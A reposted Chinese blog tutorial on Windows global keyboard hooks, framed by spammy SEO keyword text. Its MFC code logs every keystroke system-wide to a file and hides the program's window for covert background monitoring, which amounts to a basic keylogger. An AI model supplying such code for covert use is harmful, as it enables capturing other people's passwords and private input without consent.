青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

面對現實,超越自己
逆水行舟,不進則退
posts - 269,comments - 32,trackbacks - 0

一我們可以在應用程序中毫不費力的捕獲在本程序窗口上所進行的鍵盤操作,但如果我們想要將此程序作成一個監控程序,捕獲在Windows平臺下任意窗口上的鍵盤操作,就需要借助于全局鉤子來實現了。
二、系統鉤子和DLL
鉤子的本質是一段用以處理系統消息的程序,通過系統調用,將其掛入系統。鉤子的種類有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權。此時在鉤子函數中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。
在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統的消息,而全局鉤子函數必須以DLL(動態連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)、Regular using the shared MFC DLL(標準動態鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標準靜態連接MFC DLL。
三、鍵盤鉤子程序示例
本示例程序用到全局鉤子函數,程序分兩部分:可執行程序KeyHook和動態連接庫LaunchDLL。
1、首先編制MFC擴展動態連接庫LaunchDLL.dll:
(1)選擇MFC AppWizard(DLL)創建項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)。
(2)在LaunchDLL.h中添加宏定義和待導出函數的聲明: 
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
 
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
 
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的這幾個函數的實現部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我們實現了Windows的系統鉤子的安裝,首先要調用SDK中的API函數SetWindowsHookEx來安裝這個鉤子函數,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一個參數指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定為WH_KEYBOARD;第二個參數標識鉤子函數的入口地址,當鉤子鉤到任何消息后便調用這個函數,即當不管系統的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數是鉤子函數所在模塊的句柄,我們可以很簡單的設定其為本應用程序的實例句柄;最后一個參數是鉤子相關函數的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統的消息,在本程序中鉤子需要為全局鉤子,故設定為0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}

對其中的lParam & 0x80000000不理解,在網上搜索了一下,解釋是lParam的最高位為1代表鍵盤Up,0代表鍵盤down,最終我還是在msdn中找到了詳細解釋:

lParam的各位信息:


而Transition-state flag的詳細解釋如下:

Transition-State Flag

The transition-state flag indicates whether pressing a key or releasing a key generated the keystroke message. This flag is always set to 0 for WM_KEYDOWN and WM_SYSKEYDOWN messages; it is always set to 1 for WM_KEYUP and WM_SYSKEYUP messages.

關于更多信息,大家可以參考msdn的“About Keyboard Input”。


雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程序將不會接收到鉤子的通知而且還有可能產生不正確的結果,所以我們應盡量調用該函數除非絕對需要阻止其他程序獲取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
當有鍵彈起的時候就通過此函數將剛彈起的鍵保存到記錄文件中從而實現對鍵盤進行監控記錄的目的。
編譯完成便可得到運行時所需的鍵盤鉤子的動態連接庫LaunchDLL.dll和進行靜態鏈接時用到的LaunchDLL.lib。
2、下面開始編寫調用此動態連接庫的主程序,并實現最后的集成:
(1)用MFC的AppWizard(EXE)創建項目KeyHook;
(2)選擇單文檔,其余幾步可均為確省; 
(3)把LaunchDLL.h和LaunchDLL.lib復制到KeyHook工程目錄中,LaunchDLL.dll復制到Debug目錄下。
(4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁內,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:
#include "LaunchDLL.h"
這樣我們就可以象使用本工程內的 函數一樣使用動態連接庫LaunchDLL.dll中的所有導出函數了。
(5)在視類中添加虛函數OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:
……
InstallLaunchEv();
……
(6)到此為止其實已經完成了所有的功能,但作為一個后臺監控軟件,運行時并不希望有界面,可以在應用程序類CkeyHookApp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_HIDE);即可。
四、運行與檢測
編譯運行程序,運行起來之后并無什么現象,但通過Alt+Ctrl+Del在關閉程序對話框內可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發現:通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
小結:系統鉤子具有相當強大的功能,通過這種技術可以對幾乎所有的Windows系統消息進行攔截、監視、處理。這種技術廣泛應用于各種自動監控系統中。

 


鉤子在使用完之后需要用UnHookWindowsHookEx()卸載,否則會造成麻煩。釋放鉤子比較簡單,UnHookWindowsHookEx()只有一個參數。函數原型如下:
1 UnHookWindowsHookEx
2 (
3     HHOOK hhk;
4 );
函數成功返回TRUE,否則返回FALSE。

可以再LaunchDLL工程中增加卸載鉤子的函數如下:

DllExport void WINAPI UninstallLaunchEv() 
if (Hook)
{
UnhookWindowsHookEx(Hook); //uninstall hook!! 
                Hook = NULL;
}

程序退出時可以卸載鉤子。

本文轉自:http://blog.csdn.net/jaminwm/article/details/463940
posted on 2012-11-22 14:46 王海光 閱讀(617) 評論(0)  編輯 收藏 引用 所屬分類: MFC
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美中文字幕精品| 国产欧美日韩在线| 亚洲精品一区二| 久久久噜噜噜久久狠狠50岁| 亚洲一二三四区| 亚洲一区二区三区国产| 亚洲欧美日韩第一区| 欧美一区二区三区啪啪| 久久精品国产v日韩v亚洲| 久久午夜精品| 亚洲第一色在线| 欧美成人在线影院| 亚洲裸体俱乐部裸体舞表演av| 欧美色123| 中文一区二区| 一区二区三区你懂的| 亚洲一区二区三区免费视频 | 欧美**字幕| 亚洲国产日韩一区二区| 99在线观看免费视频精品观看| 亚洲一区二区综合| 免费看的黄色欧美网站| 欧美理论片在线观看| 国产欧美精品日韩| 亚洲国产女人aaa毛片在线| av不卡在线看| 久久亚洲视频| 中日韩美女免费视频网址在线观看 | 欧美美女福利视频| 国产视频一区在线观看一区免费| 亚洲国产va精品久久久不卡综合| 一本色道久久综合亚洲精品婷婷| 欧美专区日韩视频| 亚洲精品一级| 欧美成va人片在线观看| 国产区精品在线观看| 一本色道久久综合狠狠躁的推荐| 六月婷婷一区| 欧美一区二区三区在线观看| 欧美日韩国产在线| 亚洲人成在线观看一区二区| 久久―日本道色综合久久| 在线综合亚洲| 欧美日韩大片一区二区三区| 精品999网站| 欧美与黑人午夜性猛交久久久| 亚洲精品久久视频| 欧美国产日韩一区二区| 亚洲国产国产亚洲一二三| 久久乐国产精品| 性欧美超级视频| 国产欧美日韩视频一区二区三区| 亚洲欧美另类在线观看| 国产精品99久久久久久久vr | 亚洲第一天堂av| 亚洲欧美在线另类| 国产精品一区免费视频| 在线视频欧美精品| 亚洲日韩视频| 欧美激情一区二区久久久| 午夜精品久久久久久久白皮肤 | 亚洲一区免费网站| 国产精品成人一区二区网站软件| 日韩亚洲欧美成人一区| 亚洲国产精品黑人久久久| 久久影视三级福利片| 在线国产精品一区| 亚洲第一伊人| 欧美极品在线播放| 中文av字幕一区| 99re热精品| 国产精品午夜av在线| 久久精品30| 久久久久久久999精品视频| 在线观看不卡| 亚洲国产va精品久久久不卡综合| 欧美激情一区二区三区四区 | 国产视频精品xxxx| 久久久午夜电影| 老司机久久99久久精品播放免费 | 欧美日韩中文字幕在线视频| 亚洲午夜一二三区视频| 亚洲一区二区免费看| 狠狠入ady亚洲精品经典电影| 蜜臀av一级做a爰片久久| 欧美不卡高清| 午夜精品福利视频| 久久精品国产99| 亚洲精品影视| 午夜老司机精品| 亚洲欧洲一区二区在线观看| 亚洲精品一区二区三区不| 国产精品美女黄网| 欧美第一黄色网| 国产精品久久久久久五月尺| 久久综合色一综合色88| 欧美日韩国产不卡| 久久蜜桃精品| 国产精品ⅴa在线观看h| 欧美 日韩 国产精品免费观看| 欧美理论大片| 美女黄色成人网| 欧美日韩精品在线播放| 久久久噜噜噜久久| 国产精品高潮呻吟| 亚洲国产精品成人| 狠狠爱成人网| 亚洲一区二区不卡免费| 亚洲精一区二区三区| 久久精品国产99国产精品| 亚洲视频免费看| 免费亚洲电影在线观看| 久久精品视频在线免费观看| 欧美日韩综合精品| 亚洲激情女人| 亚洲国产91| 久久精品国产亚洲一区二区| 中日韩视频在线观看| 亚洲国产欧美在线| 欧美一级理论片| 一区二区三区久久网| 久久全球大尺度高清视频| 久久国产一区二区| 国产精品卡一卡二| 制服丝袜亚洲播放| 亚洲色图自拍| 欧美日韩国产综合网| 欧美激情一区二区三级高清视频| 国内精品久久久久影院薰衣草| 亚洲视频一区| 亚洲自拍偷拍视频| 欧美日韩一区二区免费视频| 91久久中文| 9久草视频在线视频精品| 欧美国产欧美综合| 91久久精品视频| 亚洲精品一二三区| 欧美激情一区二区三区四区| 最近看过的日韩成人| 亚洲毛片av在线| 欧美日韩国产天堂| 一区二区三区精品在线| 亚洲欧美不卡| 国产欧美亚洲一区| 久久xxxx精品视频| 麻豆精品一区二区av白丝在线| 极品少妇一区二区三区精品视频| 久久精视频免费在线久久完整在线看| 久久精品国亚洲| 在线成人av| 欧美精品午夜视频| 在线亚洲一区观看| 久久国产夜色精品鲁鲁99| 悠悠资源网亚洲青| 欧美国产欧美综合| 这里只有视频精品| 久久久国产成人精品| 亚洲丁香婷深爱综合| 免费观看日韩av| 夜夜嗨av一区二区三区中文字幕| 香港久久久电影| 在线精品国产欧美| 欧美日韩在线一二三| 欧美一区二区三区男人的天堂| 久久免费观看视频| 亚洲国产精品久久久| 欧美日韩亚洲一区三区| 欧美一级欧美一级在线播放| 男男成人高潮片免费网站| 艳女tv在线观看国产一区| 国产精品一区二区在线观看网站| 蜜桃av一区二区三区| 亚洲一区二区三区四区视频| 久久夜色精品国产噜噜av| 夜色激情一区二区| 国产主播在线一区| 欧美激情欧美狂野欧美精品| 亚洲伊人色欲综合网| 欧美成人一区二免费视频软件| 亚洲视频在线一区观看| 激情国产一区二区| 国产精品极品美女粉嫩高清在线 | 国产精品一区一区| 亚洲精品视频中文字幕| 欧美在线观看一区二区| 亚洲日本在线视频观看| 国产精品一区一区三区| 欧美成人免费在线视频| 亚洲欧美日韩中文播放| 欧美激情一区二区三区高清视频| 亚洲欧美日韩一区| 亚洲区一区二| 国产综合色产在线精品| 欧美香蕉大胸在线视频观看| 久久人人看视频| 亚洲欧美日本国产专区一区| 亚洲人成精品久久久久| 久久亚洲私人国产精品va| 欧美一区二区视频在线观看| 亚洲天堂成人在线观看|